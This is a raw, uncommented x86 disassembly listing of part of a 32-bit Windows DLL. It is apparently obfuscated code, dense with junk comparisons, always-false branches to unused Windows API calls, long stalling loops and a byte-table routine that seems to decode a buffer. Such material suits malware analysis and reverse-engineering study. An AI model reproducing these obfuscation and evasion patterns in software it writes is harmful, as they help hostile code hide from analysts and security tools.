mov dword [ebp - 0x44], 0
jmp 0x1003696b
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 4
jge 0x10036984
push dword [ebp - 0x44]
lea ecx, [ebp - 0x70c]
call fcn.10020c90
or dword [eax], 0xffffffff
jmp 0x10036964
push 0
lea ecx, [ebp - 0x6c8]
call fcn.10020c90
mov dword [ebp - 0xd78], 0xc8f0
mov eax, dword [ebp - 0xd78]
mov dword [ebp - 0x8c0], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x8c0]
mov dword [ebp + eax - 0xed4], ecx
push 1
lea ecx, [ebp - 0x6c8]
call fcn.10020c90
mov eax, dword [eax]
cmp eax, dword [ebp - 0x8c0]
je 0x100369dd
mov dword [ebp - 0x126c], 1
jmp 0x100369e4
and dword [ebp - 0x126c], 0
push 1
lea ecx, [ebp - 0x6c8]
call fcn.10020c90
mov esi, eax
push 1
lea ecx, [ebp - 0x6c8]
call fcn.10020c90
mov ecx, dword [esi]
imul ecx, dword [eax]
test ecx, ecx
je 0x10036a2e
push 0xfffffffffffffffe
pop eax
test eax, eax
je 0x10036a2e
push 0
lea ecx, [ebp - 0x70c]
call fcn.10020c90
cmp dword [eax], 0
je 0x10036a2e
mov dword [ebp - 0xbe8], 1
jmp 0x10036a35
and dword [ebp - 0xbe8], 0
push 1
lea ecx, [ebp - 0x70c]
call fcn.10020c90
mov ecx, dword [ebp - 0xbe8]
cmp ecx, dword [eax]
je 0x10036a58
mov dword [ebp - 0xf84], 1
jmp 0x10036a5f
and dword [ebp - 0xf84], 0
push 1
lea ecx, [ebp - 0x70c]
call fcn.10020c90
mov esi, eax
push 0
lea ecx, [ebp - 0x70c]
call fcn.10020c90
mov ecx, dword [esi]
cmp ecx, dword [eax]
jl 0x10036a8d
mov dword [ebp - 0x8c8], 1
jmp 0x10036a94
and dword [ebp - 0x8c8], 0
push 1
lea ecx, [ebp - 0x6c8]
call fcn.10020c90
mov ecx, dword [ebp - 0x8c8]
cmp ecx, dword [eax]
je 0x10036ab8
push 0
lea ecx, [ebp - 0x70c]
call fcn.10020c90
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0xed4]
push 1
lea ecx, [ebp - 0x6c8]
call fcn.10020c90
cmp esi, dword [eax]
jge 0x10036ae2
mov dword [ebp - 0x12dc], 1
jmp 0x10036ae9
and dword [ebp - 0x12dc], 0
push 0
lea ecx, [ebp - 0x70c]
call fcn.10020c90
push 0
lea ecx, [ebp - 0x6c8]
call fcn.10020c90
cmp dword [eax], 0
jne 0x10036b1a
mov eax, 0x748bbe26
test eax, eax
jne 0x10036b1a
and dword [ebp - 0x8d0], 0
jmp 0x10036b24
mov dword [ebp - 0x8d0], 1
push 0
lea ecx, [ebp - 0x70c]
call fcn.10020c90
mov esi, dword [ebp - 0x8d0]
sub esi, dword [eax]
push 1
lea ecx, [ebp - 0x6c8]
call fcn.10020c90
sub esi, dword [eax]
mov dword [ebp - 0xf8c], esi
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x70c]
call fcn.10020c74
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6c8]
call fcn.10020c74
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x260]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x5c], eax
jne 0x10037207
mov eax, dword [ebp - 0x5c]
movzx eax, byte [ebp + eax - 0x260]
inc eax
mov dword [ebp - 0x344], eax
mov eax, dword [ebp - 0x5c]
movzx eax, byte [ebp + eax - 0x260]
mov ecx, dword [ebp - 0x5c]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x78], 0xf01c0890
mov dword [ebp - 0x28], 0xfffffffc
push 2
lea ecx, [ebp - 0x1504]
call fcn.10020bf2
mov dword [ebp - 4], 8
mov dword [ebp - 0x908], 0xffffffff
mov dword [ebp - 0x544], 0x28f68172
mov dword [ebp - 0x900], 0x4fcf
mov dword [ebp - 0x314], 0
jmp 0x10036c07
mov eax, dword [ebp - 0x314]
inc eax
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 2
jge 0x10036c29
push dword [ebp - 0x314]
lea ecx, [ebp - 0x1504]
call fcn.10020c90
mov dword [eax], 0x3d88101a
jmp 0x10036bfa
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x10036c4b
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x18ec], eax
cmp dword [ebp - 0x78], 0
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x1740], eax
mov eax, 0x6a0b3493
cmp eax, 1
jne 0x10036c67
cmp dword [ebp - 0x78], 0
je 0x10036c67
mov dword [ebp - 0xbf0], 1
jmp 0x10036c6e
and dword [ebp - 0xbf0], 0
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0xbf0]
jge 0x10036c85
mov dword [ebp - 0x8d8], 1
jmp 0x10036c8c
and dword [ebp - 0x8d8], 0
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0x8d8], eax
jne 0x10036ca3
mov dword [ebp - 0xd80], 1
jmp 0x10036caa
and dword [ebp - 0xd80], 0
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0xd80]
add eax, dword [ebp - 0x28]
jne 0x10036ccb
cmp dword [ebp - 0x78], 0
jne 0x10036ccb
xor eax, eax
jne 0x10036ccb
and dword [ebp - 0x8e0], 0
jmp 0x10036cd5
mov dword [ebp - 0x8e0], 1
imul eax, dword [ebp - 0x8e0], 0x3ee6
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0x28], eax
jle 0x10036cf6
mov dword [ebp - 0xbf8], 1
jmp 0x10036cfd
and dword [ebp - 0xbf8], 0
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0xbf8], eax
jl 0x10036e4e
mov dword [ebp - 0x640], 0xba5f
mov dword [ebp - 0xf94], 1
mov dword [ebp - 0x59c], 0
jmp 0x10036d39
mov eax, dword [ebp - 0x59c]
inc eax
mov dword [ebp - 0x59c], eax
cmp dword [ebp - 0x59c], 2
jge 0x10036d55
mov eax, dword [ebp - 0x59c]
mov dword [ebp + eax*4 - 0x10dc], 0xc013cef3
jmp 0x10036d2c
mov dword [ebp - 0x28], 0
jmp 0x10036d65
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 1
jg 0x10036d87
mov byte [ebp - 0x17e], 0
movzx eax, byte [ebp - 0x17e]
test eax, eax
je 0x10036d85
push 0
call dword [sym.imp.USER32.dll_IsIconic]
jmp 0x10036d5e
mov eax, dword [ebp - 0x640]
mov dword [ebp - 0x1278], eax
mov eax, dword [ebp - 0x640]
inc eax
mov dword [ebp - 0x640], eax
cmp dword [ebp - 0x1278], 0
jle 0x10036db5
mov dword [ebp - 0x8e8], 1
jmp 0x10036dbc
and dword [ebp - 0x8e8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10dc]
mov dword [ebp - 0x18e8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10dc]
imul eax, dword [ebp - 0x78]
cmp dword [ebp - 0x8e8], eax
jge 0x10036df4
mov dword [ebp - 0x6a4], 1
jmp 0x10036dfb
and dword [ebp - 0x6a4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x6a4]
mov dword [ebp + eax - 0x10dc], ecx
mov eax, dword [ebp - 0x6a4]
sub eax, 0xffa8
cmp eax, dword [ebp - 0xf94]
jle 0x10036e2d
mov dword [ebp - 0xe48], 1
jmp 0x10036e34
and dword [ebp - 0xe48], 0
push 1
lea ecx, [ebp - 0x1504]
call fcn.10020c90
mov ecx, dword [ebp - 0xe48]
mov dword [eax], ecx
jmp 0x100371f3
mov dword [ebp - 0x32c], 0x52ee
mov dword [ebp - 0x698], 0x9e5f9c6a
mov dword [ebp - 0x1284], 5
mov dword [ebp - 0x12ec], 0x348f6f7e
mov dword [ebp - 0x1748], 1
mov dword [ebp - 0x18f4], 0xfffffffa
mov dword [ebp - 0x1750], 0x6a8e49ed
mov dword [ebp - 0x1610], 0x6f8a133a
mov dword [ebp - 0x160c], 0x6f8a133a
mov dword [ebp - 0x1608], 0x6f8a133a
mov dword [ebp - 0x1604], 0x6f8a133a
lea ecx, [ebp - 0x6ab]
call fcn.10020c9f
push eax
lea eax, [ebp - 0x1600]
push eax
lea eax, [ebp - 0x1610]
push eax
lea ecx, [ebp - 0x19f8]
call fcn.10020ca2
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x17d4]
call fcn.10020c4e
mov byte [ebp - 4], 9
mov dword [ebp - 0x1290], 0xfffffffc
mov dword [ebp - 0x8f0], 0x514
mov dword [ebp - 0xf9c], 0x1000a49c
cmp dword [ebp - 0x8f0], 0x7dc
jle 0x10037008
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_SetWindowExtEx]
and dword [ebp - 0x324], 0
jmp 0x10036f47
mov eax, dword [ebp - 0x324]
inc eax
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 0x3fb8
jge 0x10037008
and dword [ebp - 0x31c], 0
jmp 0x10036f6d
mov eax, dword [ebp - 0x31c]
inc eax
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x31c], 0x3154
jge 0x10037003
and dword [ebp - 0x48c], 0
jmp 0x10036f93
mov eax, dword [ebp - 0x48c]
inc eax
mov dword [ebp - 0x48c], eax
cmp dword [ebp - 0x48c], 0x6eb
jge 0x10036ffe
mov ecx, dword [ebp - 0x31c]
add ecx, dword [ebp - 0x48c]
mov eax, dword [ebp - 0x324]
sar eax, cl
cdq
mov dword [ebp - 0x10e8], eax
mov dword [ebp - 0x10e4], edx
push dword [ebp - 0x10e4]
push dword [ebp - 0x10e8]
lea ecx, [ebp - 0x1b20]
call fcn.1001098e
pop ecx
pop ecx
mov dword [ebp - 0x12e4], eax
mov ecx, dword [ebp - 0x12e4]
call fcn.100208b8
push eax
call fcn.1006abb3
pop ecx
lea ecx, [ebp - 0x1b20]
call fcn.100208ae
jmp 0x10036f86
jmp 0x10036f60
jmp 0x10036f3a
cmp dword [ebp - 0x8f0], 0x221
jge 0x10037020
push dword [ebp - 0xf9c]
call fcn.1006abb3
pop ecx
cmp dword [ebp - 0x32c], 0
jne 0x100370d3
mov eax, dword [ebp - 0x544]
inc eax
mov dword [ebp - 0x544], eax
mov eax, dword [ebp - 0x544]
mov dword [ebp - 0x1284], eax
push 5
pop eax
sub eax, dword [ebp - 0x78]
cmp eax, 7
jne 0x1003705d
mov dword [ebp - 0xfa4], 1
jmp 0x10037064
and dword [ebp - 0xfa4], 0
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x18fc], eax
mov eax, dword [ebp - 0x908]
mov dword [ebp - 0x1758], eax
cmp dword [ebp - 0x544], 0
jne 0x10037094
mov eax, 0x8b872472
test eax, eax
jne 0x10037094
and dword [ebp - 0xc00], 0
jmp 0x1003709e
mov dword [ebp - 0xc00], 1
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0xc00], eax
jl 0x100370b5
mov dword [ebp - 0x8f8], 1
jmp 0x100370bc
and dword [ebp - 0x8f8], 0
mov eax, dword [ebp - 0x698]
cmp dword [ebp - 0x8f8], eax
jg 0x100370d3
and dword [ebp - 0xd88], 0
jmp 0x100370dd
mov dword [ebp - 0xd88], 1
mov eax, dword [ebp - 0xd88]
mov dword [ebp - 0x900], eax
mov eax, dword [ebp - 0x32c]
cmp dword [ebp - 0x900], eax
jg 0x10037103
mov dword [ebp - 0xc08], 1
jmp 0x1003710a
and dword [ebp - 0xc08], 0
cmp dword [ebp - 0xc08], 0xffffffff
jle 0x10037128
cmp dword [ebp - 0x908], 0
je 0x10037128
mov dword [ebp - 0x648], 1
jmp 0x1003712f
and dword [ebp - 0x648], 0
push 1
lea ecx, [ebp - 0x1504]
call fcn.10020c90
mov ecx, dword [ebp - 0x648]
mov dword [eax], ecx
mov eax, dword [ebp - 0x648]
mov dword [ebp - 0x698], eax
mov eax, dword [ebp - 0x698]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x10037170
or eax, 0xffffffff
je 0x10037170
mov dword [ebp - 0xeac], 1
jmp 0x10037177
and dword [ebp - 0xeac], 0
cmp dword [ebp - 0xeac], 0x26ff
jge 0x1003718f
mov dword [ebp - 0x910], 1
jmp 0x10037196
and dword [ebp - 0x910], 0
mov eax, dword [ebp - 0x12ec]
cmp dword [ebp - 0x910], eax
jg 0x100371b0
mov dword [ebp - 0xfac], 1
jmp 0x100371b7
and dword [ebp - 0xfac], 0
mov eax, dword [ebp - 0x32c]
mov dword [ebp - 0x198c], eax
mov esi, dword [ebp - 0x32c]
imul eax, dword [ebp - 0x1290], 0x199d
add esi, eax
push 2
lea ecx, [ebp - 0x17d4]
call fcn.10020c90
mov dword [eax], esi
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x17d4]
call fcn.10020c74
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1504]
call fcn.10020c74
jmp 0x100368be
mov dword [ebp - 0x494], 4
mov dword [ebp - 0x494], 0
jmp 0x1003722a
mov eax, dword [ebp - 0x494]
dec eax
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0xfffffff4
jge 0x1003724a
mov dword [ebp - 0xfb4], 0xe60f
cmp dword [ebp - 0xfb4], 0
je 0x10037248
jmp 0x1003724a
jmp 0x1003721d
mov dword [ebp - 0xc10], 0x36e7
mov dword [ebp - 0xfbc], 0x1000a4c8
cmp dword [ebp - 0xc10], 0x3841
jle 0x10037357
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_CopySid]
and dword [ebp - 0x334], 0
jmp 0x10037290
mov eax, dword [ebp - 0x334]
inc eax
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 0x2e2c
jge 0x1003734f
and dword [ebp - 0x5cc], 0
jmp 0x100372b6
mov eax, dword [ebp - 0x5cc]
inc eax
mov dword [ebp - 0x5cc], eax
cmp dword [ebp - 0x5cc], 0x3574
jge 0x1003734a
and dword [ebp - 0x33c], 0
jmp 0x100372dc
mov eax, dword [ebp - 0x33c]
inc eax
mov dword [ebp - 0x33c], eax
cmp dword [ebp - 0x33c], 0x20b4
jge 0x10037345
mov eax, dword [ebp - 0x334]
add eax, dword [ebp - 0x5cc]
or eax, dword [ebp - 0x33c]
cdq
mov dword [ebp - 0x10f4], eax
mov dword [ebp - 0x10f0], edx
push dword [ebp - 0x10f0]
push dword [ebp - 0x10f4]
lea ecx, [ebp - 0x1ca0]
call fcn.1001098e
pop ecx
pop ecx
mov dword [ebp - 0x12f4], eax
mov ecx, dword [ebp - 0x12f4]
call fcn.100208b8
push eax
call fcn.1006abb3
pop ecx
lea ecx, [ebp - 0x1ca0]
call fcn.100208ae
jmp 0x100372cf
jmp 0x100372a9
jmp 0x10037283
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov byte [ebp - 0x17f], 0
cmp dword [ebp - 0xc10], 0x34a0
jge 0x10037376
push dword [ebp - 0xfbc]
call fcn.1006abb3
pop ecx
movzx eax, byte [ebp - 0x17f]
test eax, eax
je 0x1003738f
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_PolyPolyline]
mov eax, dword [ebp - 0x5c]
movzx eax, byte [ebp + eax - 0x25f]
mov ecx, dword [ebp - 0x5c]
sub ecx, dword [ebp - 0x344]
movzx ecx, byte [ebp + ecx - 0x262]
movsx ecx, byte [ebp + ecx - 0x149c]
or eax, ecx
mov ecx, dword [ebp - 0x5c]
movzx ecx, byte [ebp + ecx - 0x25f]
mov edx, dword [ebp - 0x5c]
sub edx, dword [ebp - 0x344]
movzx edx, byte [ebp + edx - 0x262]
movsx edx, byte [ebp + edx - 0x149c]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x5c]
movzx ecx, byte [ebp + ecx - 0x260]
mov byte [ebp + ecx - 0x149c], al
mov dword [ebp - 0x8c], 0x469ad59e
mov dword [ebp - 0x1760], 0xa3888451
mov dword [ebp - 0x18f8], 0xba22e974
mov dword [ebp - 0x49c], 0
jmp 0x10037426
mov eax, dword [ebp - 0x49c]
inc eax
mov dword [ebp - 0x49c], eax
cmp dword [ebp - 0x49c], 1
jge 0x10037442
mov eax, dword [ebp - 0x49c]
mov dword [ebp + eax*4 - 0x129c], 0
jmp 0x10037419
mov dword [ebp - 0x8c], 0
jmp 0x1003745b
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jg 0x1003747d
mov dword [ebp - 0x918], 0xf0a2
mov eax, dword [ebp - 0x918]
inc eax
mov dword [ebp - 0x918], eax
jmp 0x1003744e
mov dword [ebp - 0x8c], 0
jmp 0x10037496
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jg 0x10037506
mov dword [ebp - 0x1768], 7
mov dword [ebp - 0xfc4], 0x2b90f998
mov byte [ebp - 0x19e], 0
movzx eax, byte [ebp - 0x19e]
test eax, eax
je 0x100374cd
push 0
call dword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov eax, dword [ebp - 0x8c]
xor ecx, ecx
inc ecx
sub ecx, dword [ebp - 0x8c]
cmp dword [ebp + eax*4 - 0x129c], ecx
je 0x100374f1
mov dword [ebp - 0xd90], 1
jmp 0x100374f8
and dword [ebp - 0xd90], 0
mov eax, dword [ebp - 0xd90]
mov dword [ebp - 0xfc4], eax
jmp 0x10037489
and dword [ebp - 0x344], 0
jmp 0x100368be
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0x149c], 0
mov dword [ebp - 0xf0], 0xfffffffd
mov dword [ebp - 0x12c], 0xfffffff6
mov dword [ebp - 0x12a8], 0
mov dword [ebp - 0x54c], 0
jmp 0x10037557
mov eax, dword [ebp - 0x54c]
inc eax
mov dword [ebp - 0x54c], eax
cmp dword [ebp - 0x54c], 2
jge 0x10037573
mov eax, dword [ebp - 0x54c]
mov dword [ebp + eax*4 - 0x17f0], 0xdffb
jmp 0x1003754a
cmp dword [ebp - 0xf0], 0
je 0x100375b0
cmp dword [ebp - 0xf0], 0xc01e6e2b
jne 0x10037594
mov dword [ebp - 0x12fc], 1
jmp 0x1003759b
and dword [ebp - 0x12fc], 0
cmp dword [ebp - 0xf0], 0
je 0x100375b0
mov dword [ebp - 0x920], 1
jmp 0x100375b7
and dword [ebp - 0x920], 0
cmp dword [ebp - 0x920], 9
jne 0x100375c7
cmp dword [ebp - 0xf0], 0
cmp dword [ebp - 0xf0], 0
jne 0x100375e2
mov eax, 0x176df7e4
test eax, eax
jne 0x100375e2
and dword [ebp - 0xc18], 0
jmp 0x100375ec
mov dword [ebp - 0xc18], 1
mov eax, dword [ebp - 0xf0]
cmp dword [ebp - 0xc18], eax
jne 0x10037606
mov dword [ebp - 0x928], 1
jmp 0x1003760d
and dword [ebp - 0x928], 0
mov eax, dword [ebp - 0x928]
sub eax, dword [ebp - 0x12c]
cmp eax, 0x643b8a2
je 0x1003762c
mov dword [ebp - 0xe50], 1
jmp 0x10037633
and dword [ebp - 0xe50], 0
mov eax, dword [ebp - 0xf0]
cmp eax, dword [ebp - 0xe50]
jl 0x1003764d
mov dword [ebp - 0x930], 1
jmp 0x10037654
and dword [ebp - 0x930], 0
mov eax, dword [ebp - 0x930]
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0x7bc7
je 0x10037678
mov dword [ebp - 0xfcc], 1
jmp 0x1003767f
and dword [ebp - 0xfcc], 0
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x1948], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x17f0]
mov dword [ebp - 0x12a8], eax
mov dword [ebp - 0x12c], 0
jmp 0x100376b7
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0x14
jge 0x100376dc
mov byte [ebp - 0x181], 0
movzx eax, byte [ebp - 0x181]
test eax, eax
je 0x100376da
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
jmp 0x100376aa
lea eax, [ebp - 0x149c]
push eax
lea ecx, [ebp - 0x1a90]
call fcn.100425d4
mov dword [ebp - 0xfd4], eax
mov eax, dword [ebp - 0xfd4]
mov dword [ebp - 0x1304], eax
mov dword [ebp - 4], 0xa
mov edx, dword [ebp - 0xe78]
mov ecx, dword [ebp - 0x1304]
call fcn.10024587
mov dword [0x1008b00c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1a90]
call fcn.10020b5f
mov dword [ebp - 0x1f8], 0x38ecf54c
mov dword [ebp - 0xfdc], 0xcddd1d8f
mov dword [ebp - 0x940], 8
mov dword [ebp - 0x210], 1
mov eax, dword [ebp - 0x1f8]
cmp dword [ebp - 0x1f8], eax
jg 0x1003776e
mov dword [ebp - 0xd98], 1
jmp 0x10037775
and dword [ebp - 0xd98], 0
cmp dword [ebp - 0x940], 2
jle 0x1003778a
mov dword [ebp - 0xc20], 1
jmp 0x10037791
and dword [ebp - 0xc20], 0
mov eax, dword [ebp - 0xc20]
sub eax, dword [ebp - 0x1f8]
add eax, 0x6c21
jne 0x100377b4
push 2
pop eax
test eax, eax
jne 0x100377b4
and dword [ebp - 0x938], 0
jmp 0x100377be
mov dword [ebp - 0x938], 1
cmp dword [ebp - 0x938], 5
jne 0x100377d3
mov dword [ebp - 0xc28], 1
jmp 0x100377da
and dword [ebp - 0xc28], 0
mov eax, dword [ebp - 0xfdc]
imul eax, dword [ebp - 0xd98]
mov ecx, dword [ebp - 0x940]
add ecx, dword [ebp - 0xc28]
cmp eax, ecx
jl 0x10037803
mov dword [ebp - 0x948], 1
jmp 0x1003780a
and dword [ebp - 0x948], 0
mov eax, dword [ebp - 0x1f8]
cmp eax, dword [ebp - 0x948]
jg 0x10037824
mov dword [ebp - 0xf10], 1
jmp 0x1003782b
and dword [ebp - 0xf10], 0
mov eax, dword [ebp - 0xf10]
sub eax, dword [ebp - 0x1f8]
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x210], 0xffffffe5
jmp 0x10037856
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0xfffffff6
je 0x1003787f
mov byte [ebp - 0x115], 0
movzx eax, byte [ebp - 0x115]
test eax, eax
je 0x1003787d
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
jmp 0x10037849
and dword [ebp - 0x264], 0
jmp 0x10037895
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 0xe
jae 0x10037c47
push 3
lea ecx, [ebp - 0x13bc]
call fcn.10020bf2
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x5a4], 0xa8fe2430
mov dword [ebp - 0x650], 0xef4a0426
push 3
lea ecx, [ebp - 0x151c]
call fcn.10020bf2
mov byte [ebp - 4], 0xc
mov dword [ebp - 0xc38], 0xffffffff
mov dword [ebp - 0xfe4], 1
mov dword [ebp - 0x130c], 1
mov dword [ebp - 0x950], 0x68db
mov dword [ebp - 0x12b4], 0x1000a538
cmp dword [ebp - 0x950], 0x6af4
jle 0x100379c8
and dword [ebp - 0x354], 0
jmp 0x10037933
mov eax, dword [ebp - 0x354]
inc eax
mov dword [ebp - 0x354], eax
cmp dword [ebp - 0x354], 0x519d
jge 0x100379c8
and dword [ebp - 0x34c], 0
jmp 0x10037959
mov eax, dword [ebp - 0x34c]
inc eax
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 0x48a6
jge 0x100379c3
and dword [ebp - 0x4a4], 0
jmp 0x1003797b
mov eax, dword [ebp - 0x4a4]
inc eax
mov dword [ebp - 0x4a4], eax
cmp dword [ebp - 0x4a4], 0x5762
jge 0x100379c1
mov eax, dword [ebp - 0x34c]
cdq
idiv dword [ebp - 0x4a4]
add edx, dword [ebp - 0x354]
mov eax, edx
cdq
mov dword [ebp - 0x1100], eax
mov dword [ebp - 0x10fc], edx
push dword [ebp - 0x10fc]
push dword [ebp - 0x1100]
mov ecx, 0x10085b58
call fcn.100208d8
jmp 0x1003796e
jmp 0x1003794c
jmp 0x10037926
mov dword [ebp - 0x50], 0
jmp 0x100379d8
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 3
jge 0x100379f4
push dword [ebp - 0x50]
lea ecx, [ebp - 0x13bc]
call fcn.10020c90
mov dword [eax], 5
jmp 0x100379d1
cmp dword [ebp - 0x950], 0x66db
jge 0x10037a10
mov edx, dword [ebp - 0x12b4]
mov ecx, 0x10085b58
call fcn.10023628
mov dword [ebp - 0x50], 0
jmp 0x10037a20
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 3
jge 0x10037a3c
push dword [ebp - 0x50]
lea ecx, [ebp - 0x151c]
call fcn.10020c90
mov dword [eax], 0xa85f88e1
jmp 0x10037a19
mov dword [ebp - 0x50], 0
jmp 0x10037a4c
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 3
jge 0x10037a62
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x17e8], 0x11fb8eb5
jmp 0x10037a45
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x17e8]
inc eax
mov dword [ebp - 0xc30], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xc30]
mov dword [ebp + eax - 0x17e8], ecx
cmp dword [ebp - 0xc30], 0xffff
ja 0x10037aa1
mov dword [ebp - 0x958], 1
jmp 0x10037aa8
and dword [ebp - 0x958], 0
push 2
lea ecx, [ebp - 0x13bc]
call fcn.10020c90
mov eax, dword [eax]
neg eax
mov ecx, dword [ebp - 0xfe4]
add ecx, dword [ebp - 0x958]
cmp eax, ecx
jle 0x10037ad5
mov dword [ebp - 0xda0], 1
jmp 0x10037adc
and dword [ebp - 0xda0], 0
push 1
lea ecx, [ebp - 0x151c]
call fcn.10020c90
mov esi, dword [ebp - 0xda0]
add esi, dword [eax]
push 1
lea ecx, [ebp - 0x151c]
call fcn.10020c90
mov dword [eax], esi
mov eax, dword [ebp - 0x650]
cmp dword [ebp - 0x130c], eax
jl 0x10037b1a
mov dword [ebp - 0xfec], 1
jmp 0x10037b21
and dword [ebp - 0xfec], 0
mov esi, dword [ebp - 0xc38]
push 2
lea ecx, [ebp - 0x13bc]
call fcn.10020c90
imul esi, dword [eax]
cmp esi, 0x88146cde
je 0x10037b4b
mov dword [ebp - 0x12c0], 1
jmp 0x10037b52
and dword [ebp - 0x12c0], 0
mov eax, dword [ebp - 0x5a4]
mov dword [ebp - 0x1770], eax
mov dword [ebp - 0x5a4], 0xfffffffe
cmp dword [ebp - 0x5a4], 0
je 0x10037b86
mov eax, 0xfffc
test eax, eax
je 0x10037b86
mov dword [ebp - 0x960], 1
jmp 0x10037b8d
and dword [ebp - 0x960], 0
cmp dword [ebp - 0x960], 0
jae 0x10037ba2
mov dword [ebp - 0xff4], 1
jmp 0x10037ba9
and dword [ebp - 0xff4], 0
mov eax, dword [ebp - 0xc38]
mov dword [ebp - 0x1900], eax
mov eax, dword [ebp - 0x650]
mov dword [ebp - 0x1778], eax
mov esi, dword [ebp - 0x5a4]
push 2
lea ecx, [ebp - 0x13bc]
call fcn.10020c90
cmp esi, dword [eax]
jge 0x10037be4
mov dword [ebp - 0x968], 1
jmp 0x10037beb
and dword [ebp - 0x968], 0
cmp dword [ebp - 0x968], 0x4db503b5
jle 0x10037c03
mov dword [ebp - 0xe58], 1
jmp 0x10037c0a
and dword [ebp - 0xe58], 0
mov eax, dword [ebp - 0xe58]
mov dword [ebp - 0x650], eax
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x151c]
call fcn.10020c74
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x13bc]
call fcn.10020c74
mov eax, dword [ebp - 0x264]
mov byte [ebp + eax - 0x149c], 0
jmp 0x10037888
mov dword [ebp - 0x94], 0x6b16b471
push 1
lea ecx, [ebp - 0xee0]
call fcn.10020bf2
mov dword [ebp - 4], 0xd
mov dword [ebp - 0xbc], 0
jmp 0x10037c7e
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 3
jge 0x10037c9a
mov eax, dword [ebp - 0xbc]
mov dword [ebp + eax*4 - 0x163c], 0xe74e8003
jmp 0x10037c71
mov dword [ebp - 0xbc], 0
jmp 0x10037cb3
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 1
jge 0x10037cd5
push dword [ebp - 0xbc]
lea ecx, [ebp - 0xee0]
call fcn.10020c90
mov dword [eax], 0x2aff6358
jmp 0x10037ca6
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x94], eax
je 0x10037cef
mov dword [ebp - 0x970], 1
jmp 0x10037cf6
and dword [ebp - 0x970], 0
mov eax, dword [ebp - 0x970]
sub eax, 5
cmp eax, 0x47d2038
jle 0x10037d12
mov dword [ebp - 0xc40], 1
jmp 0x10037d19
and dword [ebp - 0xc40], 0
cmp dword [ebp - 0xc40], 0xfff8
jae 0x10037d31
mov dword [ebp - 0x1314], 1
jmp 0x10037d38
and dword [ebp - 0x1314], 0
